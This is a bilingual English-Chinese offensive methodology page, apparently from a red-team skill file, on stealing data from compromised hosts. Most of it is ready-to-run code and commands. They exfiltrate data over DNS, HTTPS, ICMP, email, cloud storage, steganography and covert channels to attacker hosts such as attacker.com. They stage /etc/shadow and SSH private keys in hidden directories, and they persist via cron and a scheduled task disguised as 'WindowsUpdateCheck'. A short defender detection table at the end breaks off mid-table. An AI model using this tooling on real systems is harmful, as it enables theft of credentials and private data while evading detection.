offensive-data-exfiltration

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Data Exfiltration -- Offensive Methodology

数据外泄——攻击性方法论

Quick Workflow

快速工作流

  1. Inventory target data. Map files, databases, credentials. Assess volume and classification.
  2. Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
  3. Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
  4. Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
  5. Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
  6. Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
  7. Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
  8. Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.

  1. 盘点目标数据。 映射文件、数据库、凭据。评估数据量和分类级别。
  2. 暂存。 复制到受控目录。移除不必要的元数据并去重。
  3. 压缩并拆分。 使用 tar/zip,然后针对传输通道进行分块(DNS 每个标签 < 253 字节;HTTPS 可容纳 MB 级数据)。
  4. 加密。 对每个分块使用 AES-256-GCM 或 ChaCha20 加密。绝不外泄明文。
  5. 选择通道。 DNS(仅端口 53)、HTTPS(允许 Web)、ICMP(允许 ping)、云(SaaS 访问权限)。
  6. 传输。 为提高隐蔽性采用 Slow-Drip;短窗口期内采用突发传输。使流量速率与基线一致。
  7. 验证接收情况。 在接收端重新计算 SHA-256,并与源清单进行比较。
  8. 清理。 安全删除暂存数据、临时文件、已投放的工具以及所有计划任务。

DNS Exfiltration

DNS 数据外泄

MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
MITRE: T1048.003 -- 通过替代协议外泄:DNS

dnscat2

dnscat2

bash
undefined
bash
undefined

Server -- set NS record for exfil.yourdomain.com -> your_server_ip first

Server -- set NS record for exfil.yourdomain.com -> your_server_ip first

ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

Client on target

Client on target

./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

Server console -- file transfer

Server console -- file transfer

session -i 1 download /etc/shadow /tmp/loot/shadow

```bash
session -i 1 download /etc/shadow /tmp/loot/shadow

```bash

Force CNAME queries to avoid TXT-based detection

Force CNAME queries to avoid TXT-based detection

./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
undefined
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
undefined

iodine Tunneling

iodine 隧道

bash
undefined
bash
undefined

Server (authoritative NS)

Server (authoritative NS)

iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

Client -- creates dns0 interface at 10.0.0.2

Client -- creates dns0 interface at 10.0.0.2

iodine -f -P ExfilPassword tunnel.yourdomain.com scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/
undefined
iodine -f -P ExfilPassword tunnel.yourdomain.com scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/
undefined

dns2tcp

dns2tcp

bash
undefined
bash
undefined

Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22

Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22

dns2tcpd -f /etc/dns2tcpd.conf
dns2tcpd -f /etc/dns2tcpd.conf

Client -- tunnel SSH over DNS

Client -- tunnel SSH over DNS

dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1 ssh -p 2222 attacker@127.0.0.1
undefined
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1 ssh -p 2222 attacker@127.0.0.1
undefined

TXT/CNAME Record Encoding

TXT/CNAME 记录编码

python
import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself
python
import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself

Slow-Drip DNS

Slow-Drip DNS

python
import random, time, base64, dns.resolver

def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), 60)):
        query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
        try: dns.resolver.resolve(query, "A")
        except Exception: pass
        time.sleep(random.uniform(min_delay, max_delay))
PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP:
python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1
.

python
import random, time, base64, dns.resolver

def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), 60)):
        query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
        try: dns.resolver.resolve(query, "A")
        except Exception: pass
        time.sleep(random.uniform(min_delay, max_delay))
PacketWhisper 无需自建服务器即可通过 DNS 外泄数据——将数据编码为从 PCAP 捕获的查询:
python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1
。

HTTPS Tunneling

HTTPS 隧道

MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols
MITRE: T1041 -- 通过 C2 通道外泄;T1071.001 -- Web 协议

stunnel

stunnel

Server wraps a port 8080 listener in TLS on 443. Client:
stunnel -c -d 127.0.0.1:9090 -r attacker.com:443
, then
cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090
.
服务器将监听 8080 端口的服务通过 TLS 封装在 443 端口上。客户端:
stunnel -c -d 127.0.0.1:9090 -r attacker.com:443
,然后
cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090
。

Domain Fronting via CDN

通过 CDN 进行 Domain Fronting

bash
undefined
bash
undefined

Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server

Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server

curl -s -H "Host: your-collection.azureedge.net"
--data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload
curl -s -H "Host: your-collection.azureedge.net"
--data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload

chisel full tunnel behind CDN

chisel full tunnel behind CDN

chisel server --port 443 --reverse --auth user:pass # server side chisel client --header "Host: your-collection.azureedge.net"
https://legitimate-cdn-domain.com R:socks # client side
undefined
chisel server --port 443 --reverse --auth user:pass # server side chisel client --header "Host: your-collection.azureedge.net"
https://legitimate-cdn-domain.com R:socks # client side
undefined

Legitimate Service Abuse

合法服务滥用

bash
undefined
bash
undefined

Slack webhook

Slack webhook

curl -X POST -H 'Content-type: application/json'
--data "{"text":"$(base64 /tmp/chunk_001.enc)"}"
https://hooks.slack.com/services/T00/B00/XXX

```python
curl -X POST -H 'Content-type: application/json'
--data "{"text":"$(base64 /tmp/chunk_001.enc)"}"
https://hooks.slack.com/services/T00/B00/XXX

```python

GitHub Gist -- private gist per chunk

GitHub Gist -- private gist per chunk

import requests, base64 def gist_exfil(data, token): requests.post("https://api.github.com/gists", json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}}, headers={"Authorization": f"token {token}"})

```powershell
import requests, base64 def gist_exfil(data, token): requests.post("https://api.github.com/gists", json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}}, headers={"Authorization": f"token {token}"})

```powershell

Pastebin API from Windows

Pastebin API from Windows

$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc")) Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{ api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}

---
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc")) Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{ api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}

---

ICMP Tunneling

ICMP 隧道

MITRE: T1048.003 -- Non-Application Layer Protocol
MITRE: T1048.003 -- 非应用层协议

icmpsh

icmpsh

bash
undefined
bash
undefined

Attacker

Attacker

sysctl -w net.ipv4.icmp_echo_ignore_all=1 python3 icmpsh_m.py attacker_ip target_ip

Target (Windows): `icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128`
sysctl -w net.ipv4.icmp_echo_ignore_all=1 python3 icmpsh_m.py attacker_ip target_ip

目标端(Windows):`icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128`

ptunnel-ng

ptunnel-ng

bash
ptunnel-ng -r0.0.0.0 -R22                              # server (attacker)
ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22   # client (target)
scp -P 2222 /tmp/staged.tar.enc attacker@127.0.0.1:/loot/
bash
ptunnel-ng -r0.0.0.0 -R22                              # server (attacker)
ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22   # client (target)
scp -P 2222 /tmp/staged.tar.enc attacker@127.0.0.1:/loot/

Raw ICMP Embedding

原始 ICMP 嵌入

python
import struct, socket

def icmp_exfil(data, dest_ip, chunk_size=48):
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    for seq, i in enumerate(range(0, len(data), chunk_size)):
        chunk = data[i:i+chunk_size]
        hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
        pkt = hdr + chunk
        s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
        if len(pkt) % 2: s += pkt[-1] << 8
        s = (s >> 16) + (s & 0xFFFF); s += s >> 16
        hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
        sock.sendto(hdr + chunk, (dest_ip, 0))
    sock.close()
Keep payloads under 64 bytes to match standard ping. Larger payloads increase throughput but trigger IDS.

python
import struct, socket

def icmp_exfil(data, dest_ip, chunk_size=48):
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    for seq, i in enumerate(range(0, len(data), chunk_size)):
        chunk = data[i:i+chunk_size]
        hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
        pkt = hdr + chunk
        s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
        if len(pkt) % 2: s += pkt[-1] << 8
        s = (s >> 16) + (s & 0xFFFF); s += s >> 16
        hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
        sock.sendto(hdr + chunk, (dest_ip, 0))
    sock.close()
将有效载荷保持在 64 字节以内,以匹配标准 ping。较大的有效载荷可以提高吞吐量,但会触发 IDS。

Cloud Storage Dead Drops

云存储死信箱

MITRE: T1567.002 -- Exfiltration to Cloud Storage
MITRE: T1567.002 -- 外泄到云存储

S3 Presigned URLs

S3 预签名 URL

python
import boto3
def s3_upload_url(bucket, key, expiry=3600):
    return boto3.client("s3").generate_presigned_url(
        "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)
bash
curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."
python
import boto3
def s3_upload_url(bucket, key, expiry=3600):
    return boto3.client("s3").generate_presigned_url(
        "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)
bash
curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."

Azure Blob SAS Tokens

Azure Blob SAS 令牌

powershell
$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
    -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
    -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"
powershell
$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
    -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
    -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"

GCS Signed URLs

GCS 签名 URL

python
from google.cloud import storage
import datetime
def gcs_upload_url(bucket_name, blob_name, minutes=60):
    blob = storage.Client().bucket(bucket_name).blob(blob_name)
    return blob.generate_signed_url(version="v4", method="PUT",
        expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")
Presigned URLs need no credentials on the target. Rotate buckets between drops.

python
from google.cloud import storage
import datetime
def gcs_upload_url(bucket_name, blob_name, minutes=60):
    blob = storage.Client().bucket(bucket_name).blob(blob_name)
    return blob.generate_signed_url(version="v4", method="PUT",
        expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")
预签名 URL 在目标端不需要凭据。每次投放之间轮换存储桶(bucket)。

Email-Based Exfiltration

基于电子邮件的数据外泄

MITRE: T1048.002 -- Asymmetric Encrypted Non-C2 Protocol
MITRE: T1048.002 -- 非 C2 协议的非对称加密

SMTP

SMTP

python
import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders

def smtp_exfil(filepath, server, from_addr, to_addr, password):
    msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
    with open(filepath, "rb") as f:
        part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
    encoders.encode_base64(part)
    part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
    msg.attach(part)
    with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)
python
import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders

def smtp_exfil(filepath, server, from_addr, to_addr, password):
    msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
    with open(filepath, "rb") as f:
        part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
    encoders.encode_base64(part)
    part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
    msg.attach(part)
    with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)

Exchange Web Services

Exchange Web Services

python
from exchangelib import Credentials, Account, FileAttachment, Message
def ews_exfil(filepath, email, password, recipient):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    with open(filepath, "rb") as f:
        att = FileAttachment(name="data.xlsx", content=f.read())
    m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
    m.attach(att); m.send()
python
from exchangelib import Credentials, Account, FileAttachment, Message
def ews_exfil(filepath, email, password, recipient):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    with open(filepath, "rb") as f:
        att = FileAttachment(name="data.xlsx", content=f.read())
    m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
    m.attach(att); m.send()

Draft Method

Draft 方法

Store data in drafts -- no email transits the network, no sent-mail evidence:
python
from exchangelib import Account, Credentials, Message
def draft_exfil(data_b64, email, password):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)

将数据存储在草稿中——没有邮件经过网络,也不会留下已发送邮件的证据:
python
from exchangelib import Account, Credentials, Message
def draft_exfil(data_b64, email, password):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)

Steganography

隐写术

MITRE: T1001.002 -- Data Obfuscation: Steganography
MITRE: T1001.002 -- 数据混淆:隐写术

Image

图像

bash
steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f    # JPEG/BMP
steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
zsteg carrier.png                                              # PNG analysis
openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"
python
from PIL import Image
import struct

def lsb_embed(cover_path, data, output_path):
    img = Image.open(cover_path); pixels = list(img.getdata())
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
    idx = 0; new_pixels = []
    for px in pixels:
        np = list(px)
        for c in range(min(3, len(np))):
            if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
        new_pixels.append(tuple(np))
    out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)
bash
steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f    # JPEG/BMP
steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
zsteg carrier.png                                              # PNG analysis
openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"
python
from PIL import Image
import struct

def lsb_embed(cover_path, data, output_path):
    img = Image.open(cover_path); pixels = list(img.getdata())
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
    idx = 0; new_pixels = []
    for px in pixels:
        np = list(px)
        for c in range(min(3, len(np))):
            if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
        new_pixels.append(tuple(np))
    out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)

Audio

音频

python
import wave, struct

def wav_lsb_embed(cover_wav, data, output_wav):
    with wave.open(cover_wav, "rb") as w:
        params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
    with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))
python
import wave, struct

def wav_lsb_embed(cover_wav, data, output_wav):
    with wave.open(cover_wav, "rb") as w:
        params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
    with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))

Document Metadata

文档元数据

bash
exiftool -Comment="$(base64 secret.enc)" carrier.jpg          # EXIF embed
cat carrier.jpg secret.enc > output.jpg                        # append after FFD9
python
from PyPDF2 import PdfReader, PdfWriter
def pdf_metadata_exfil(pdf_path, data_b64, output_path):
    reader = PdfReader(pdf_path); writer = PdfWriter()
    for page in reader.pages: writer.add_page(page)
    chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
    writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)})
    with open(output_path, "wb") as f: writer.write(f)

bash
exiftool -Comment="$(base64 secret.enc)" carrier.jpg          # EXIF embed
cat carrier.jpg secret.enc > output.jpg                        # append after FFD9
python
from PyPDF2 import PdfReader, PdfWriter
def pdf_metadata_exfil(pdf_path, data_b64, output_path):
    reader = PdfReader(pdf_path); writer = PdfWriter()
    for page in reader.pages: writer.add_page(page)
    chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
    writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)})
    with open(output_path, "wb") as f: writer.write(f)

Encoding and Encryption

编码与加密

Base64 / Hex / Base32 Chunking

Base64 / Hex / Base32 分块

bash
base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt      # base64 chunks
xxd -p staged.enc > staged.hex                                 # hex for DNS labels
python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"
bash
base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt      # base64 chunks
xxd -p staged.enc > staged.hex                                 # hex for DNS labels
python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"

XOR

XOR

python
def xor_encrypt(data, key):
    kb = key.encode() if isinstance(key, str) else key
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
python
def xor_encrypt(data, key):
    kb = key.encode() if isinstance(key, str) else key
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

AES-256-GCM

AES-256-GCM

python
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib

def aes_encrypt_file(infile, outfile, password):
    salt = get_random_bytes(16)
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
    cipher = AES.new(key, AES.MODE_GCM)
    with open(infile, "rb") as f: pt = f.read()
    ct, tag = cipher.encrypt_and_digest(pt)
    with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct)

def aes_decrypt_file(infile, outfile, password):
    with open(infile, "rb") as f: d = f.read()
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000)
    pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48])
    with open(outfile, "wb") as f: f.write(pt)
bash
openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key

python
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib

def aes_encrypt_file(infile, outfile, password):
    salt = get_random_bytes(16)
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
    cipher = AES.new(key, AES.MODE_GCM)
    with open(infile, "rb") as f: pt = f.read()
    ct, tag = cipher.encrypt_and_digest(pt)
    with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct)

def aes_decrypt_file(infile, outfile, password):
    with open(infile, "rb") as f: d = f.read()
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000)
    pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48])
    with open(outfile, "wb") as f: f.write(pt)
bash
openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key

Covert Channels

隐蔽通道

HTTP Header Encoding

HTTP 标头编码

python
import base64, urllib.request

def http_header_exfil(data, url, chunk_size=256):
    encoded = base64.b64encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        req = urllib.request.Request(url)
        req.add_header("X-Request-ID", f"{seq:06d}")
        req.add_header("X-Correlation-Token", encoded[i:i+chunk_size])
        try: urllib.request.urlopen(req)
        except Exception: pass
python
import base64, urllib.request

def http_header_exfil(data, url, chunk_size=256):
    encoded = base64.b64encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        req = urllib.request.Request(url)
        req.add_header("X-Request-ID", f"{seq:06d}")
        req.add_header("X-Correlation-Token", encoded[i:i+chunk_size])
        try: urllib.request.urlopen(req)
        except Exception: pass

chisel SOCKS Tunnel

chisel SOCKS 隧道

bash
chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks
curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload
bash
chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks
curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload

IP ID Field Encoding

IP ID 字段编码

python
from scapy.all import IP, TCP, send
def ip_id_exfil(data, dest_ip, port=80):
    for i, byte in enumerate(data):
        send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)
python
from scapy.all import IP, TCP, send
def ip_id_exfil(data, dest_ip, port=80):
    for i, byte in enumerate(data):
        send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)

Timing Channels

时间信道

python
import time, socket

def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((dest_ip, dest_port))
    for byte in data:
        for i in range(7, -1, -1):
            bit = (byte >> i) & 1
            time.sleep(bit_time * 2 if bit else bit_time)
            sock.send(b"\x00")
    sock.close()
Timing channels: bits/second throughput, nearly undetectable. Use for keys and passwords only.

python
import time, socket

def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((dest_ip, dest_port))
    for byte in data:
        for i in range(7, -1, -1):
            bit = (byte >> i) & 1
            time.sleep(bit_time * 2 if bit else bit_time)
            sock.send(b"\x00")
    sock.close()
时间信道的吞吐量以 bit/s 计算,几乎无法检测。仅用于传输密钥和密码。

Data Staging

数据暂存

MITRE: T1074.001 -- Local Data Staging; T1029 -- Scheduled Transfer; T1030 -- Data Transfer Size Limits
MITRE: T1074.001 -- 本地数据暂存;T1029 -- 计划传输;T1030 -- 数据传输大小限制

Linux Pipeline

Linux 流水线

bash
mkdir -p /tmp/.cache/updates
cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null
tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates .
openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \
    -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey
split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_
sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256
bash
mkdir -p /tmp/.cache/updates
cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null
tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates .
openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \
    -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey
split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_
sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256

Windows Pipeline

Windows 流水线

powershell
$s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01"
New-Item -ItemType Directory -Force -Path $s | Out-Null
Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null
Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force
powershell
$s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01"
New-Item -ItemType Directory -Force -Path $s | Out-Null
Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null
Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force

Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks

Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks

undefined
undefined

Scheduled Transfers

计划传输

bash
undefined
bash
undefined

Cron -- one chunk every 30 min during business hours

Cron -- one chunk every 30 min during business hours

(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -

```powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
    -RepetitionInterval (New-TimeSpan -Minutes 30)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -

```powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
    -RepetitionInterval (New-TimeSpan -Minutes 30)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

Detection / Defender View

检测与防御方视角

TechniqueDetection SignalDefender Tool
DNS exfilHigh query volume, long labels, high entropy, unusual record typesPassive DNS, Zeek dns.log, entropy scoring
HTTPS tunnelPersistent TLS, beaconing, JA3 mismatch, SNI/Host mismatchTLS inspection, JA3 fingerprinting, NetFlow
ICMP tunnelLarge payloads, high ICMP volume, non-standard payload dataIDS payload rules, Zeek conn.log
Cloud dead dropsPUT to unfamiliar cloud endpoints from internal hostsCASB, proxy logs, cloud API monitoring
Email exfilLarge/encrypted attachments, unusual recipients, draft volumeDLP gateway, Exchange audit logs
SteganographyEntropy anomalies, appended data after markers, stego signaturesStegExpose, file carving
Covert channelsAnomalous headers, irregular timing, non-standard protocolDPI, protocol anomaly, ML traffic analysis
技术检测信号防御工具
DNS 数据外泄查询量大、标签长、熵值高、记录类型异常被动 DNS、Zeek dns.log、熵值评分
HTTPS 隧道持久 TLS、信标活动、JA3 不匹配、SNI/Host 不匹配TLS 检查、JA3 指纹识别、NetFlow
ICMP 隧道有效载荷大、ICMP 流量高、载荷数据不符合标准格式IDS 载荷规则、Zeek conn.log
云存储死信箱内部主机向陌生云端点发起 PUT 请求CASB、代理日志、云 API 监控
